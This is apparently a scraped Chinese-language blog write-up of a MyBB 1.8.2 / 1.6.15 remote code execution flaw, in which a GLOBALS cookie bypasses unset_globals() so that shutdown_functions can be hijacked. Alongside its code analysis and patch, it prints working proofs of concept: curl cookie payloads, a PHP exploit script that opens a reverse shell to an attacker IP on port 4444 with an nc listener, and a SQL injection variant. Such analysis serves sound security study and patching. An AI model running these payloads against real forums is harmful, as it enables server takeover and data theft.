cataloguephp
1. 漏洞描述 2. 漏洞觸發條件 3. 漏洞影響範圍 4. 漏洞代碼分析 5. 防護方法 6. 攻防思考
1. 漏洞描述css
MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.html
Relevant Link:數組
https://cxsecurity.com/issue/WLB-2015120164 https://packetstormsecurity.com/files/134833/MyBB-1.8.2-Code-Execution.html https://www.exploit-db.com/exploits/35323/
2. 漏洞觸發條件安全
0x1: POC1cookie
//php.ini配置 1. request_order = "GP" 2. register_globals = On //remote code execution by just using curl on the command line 3. curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://30.9.192.207/mybb_1802/
PHP自動化驗證腳本框架
<?php // Exploit Title: MyBB <= 1.8.2 Reverse Shell Exploit // Date: 15/12/2015 // Exploit Author: ssbostan // Vendor Homepage: http://www.mybb.com/ // Software Link: http://resources.mybb.com/downloads/mybb_1802.zip // Version: <= 1.8.2 // Tested on: MyBB 1.8.2 $target="http://localhost/mybb1802/index.php"; $yourip="ipaddress"; $ch=curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_COOKIE, "GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;"); curl_setopt($ch, CURLOPT_URL, $target); curl_exec($ch); curl_close($ch); // nc -l 4444 // php mybb-1802-core-exploit.php ?>
0x2: POC2curl
//php.ini 1. disable_functions = ini_get 2. register_globals = On //url 3. index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1
0x3: POC3函數
//php.ini配置 1. request_order = "GP" 2. register_globals = On //url curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php //Works on disable_functions = ini_get and register\_globals = On: css.php?shutdown_queries[]=SQL_Inj
3. 漏洞影響範圍this
MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15
4. 漏洞代碼分析
\mybb_1802\inc\class_core.php
.. // If we've got register globals on, then kill them too /* When PHP's register_globals configuration set on, MyBB will call unset_globals() function all global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed. 這是MyBB作的一種安全機制,在每一個PHP腳本請求的開始進行"超全局變量自動註冊反向處理",抵消可能出現的register_globals致使的安全問題 */ if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } .. /** * Unsets globals from a specific array. * * @param array The array to unset from. */ function unset_globals($array) { if(!is_array($array)) { return; } foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4 } }
這個邏輯看起來好像沒問題,並且是出於安全方面的考慮進行了防護性處理,可是由於PHP內核的一些特性,致使unset_globals()函數的執行可以被繞過
1. 在正常狀況下,經過GPC方式輸入的變量,即便開啓了register_globals,也會被自動進行unset $GLOBAL[$var]處理,這是MyBB本身實現了一套防護低版本PHP誤開啓register_globals = On的代碼邏輯,這防護了本地變量覆蓋的發生 2. 可是存在一個特殊的變量GLOBALS,$GLOBALS超全局數組是PHP內核負責建立維護的,咱們能夠在程序中任意位置讀寫$GLOBALS['key'],PHP內核綁定了$GLOBALS數組和global symbol table之間的鏈接 3. 若是黑客傳入: foo.php?GLOBALS=1,則MyBB會執行unset($GLOBALS["GLOBALS"]);這會直接致使$GLOBALS和global symbol table之間的鏈接 4. 注意到MyBB源代碼中這行代碼 /* \mybb_1802\inc\class_core.php if(@ini_get("register_globals") == 1) { .. $this->unset_globals($_COOKIE); } 黑客注入的COOKIES爲: GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1 則代碼邏輯會按以下執行 1. unset($GLOBALS["GLOBALS"]); 2. 則以後的unset($GLOBALS["shutdown_functions"]);就會失效,由於此時綁定已經不存在了 */ 5. 此時已經繞過了MyBB原生的變量覆蓋防護機制
須要注意的是,MyBB的防護框架裏注意到了這個問題
\mybb_1802\inc\class_core.php
.. function __construct() { // Set up MyBB $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS"); foreach($protected as $var) { if(isset($_REQUEST[$var]) || isset($_FILES[$var])) { die("Hacking attempt"); } } ..
MyBB的本意是阻止請求參數中出現GET/POST/GLOBALS這種可能影響全局變量參數的值,可是問題在PHP中的$_REQUEST也是一個超全局變量,它的值受php.ini影響,在PHP5.3之後,request_order = "GP",也就是說,$_REQUEST只包括GET/POST中的參數,這直接致使了對COOKIES的敏感參數過濾失效,因此,黑客能夠在COOKIES中放入變量覆蓋攻擊payload
GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;
稍微總結一下,這個利用前提條件有2種場景
1. MyBB <= PHP 5.3: request_order = "GP" 2. PHP 5.3 <= MyBB <= PHP 5.4: register_globals = On
理解了變量覆蓋發生的前提,下一步看攻擊Payload是如何構造並觸發本地變量覆蓋的
\mybb_1802\inc\class_core.php
//class_core.php幾乎是全部頁面腳本都會調用到的文件,下面的析構函數會被頻繁調用 function __destruct() { // Run shutdown function if(function_exists("run_shutdown")) { run_shutdown(); } }
run_shutdown();
\mybb_1802\inc\functions.php
/** * Runs the shutdown items after the page has been sent to the browser. * */ function run_shutdown() { //the $shutdown_functions was initialized via add\_shutdown() function in init.php //可是由於本地變量覆蓋漏洞的存在,這裏$shutdown_functions能夠被劫持 global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb; if($done_shutdown == true || !$config || (isset($error_handler) && $error_handler->has_errors)) { return; } .. // Run any shutdown functions if we have them if(is_array($shutdown_functions)) { foreach($shutdown_functions as $function) { call_user_func_array($function['function'], $function['arguments']); } } ..
Relevant Link:
http://0day.today/exploit/22913
5. 防護方法
\inc\class_core.php
class MyBB { .. function __construct() { // Set up MyBB $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS"); foreach($protected as $var) { /*if(isset($_REQUEST[$var]) || isset($_FILES[$var]))*/ if(isset($_GET[$var]) || isset($_POST[$var]) || isset($_COOKIE[$var]) || isset($_FILES[$var])) { die("Hacking attempt"); } } ..
Relevant Link:
http://blog.mybb.com/2014/11/20/mybb-1-8-3-1-6-16-released-security-releases/ http://cn.313.ninja/exploit/22913
6. 攻防思考
Copyright (c) 2016 Little5ann All rights reserved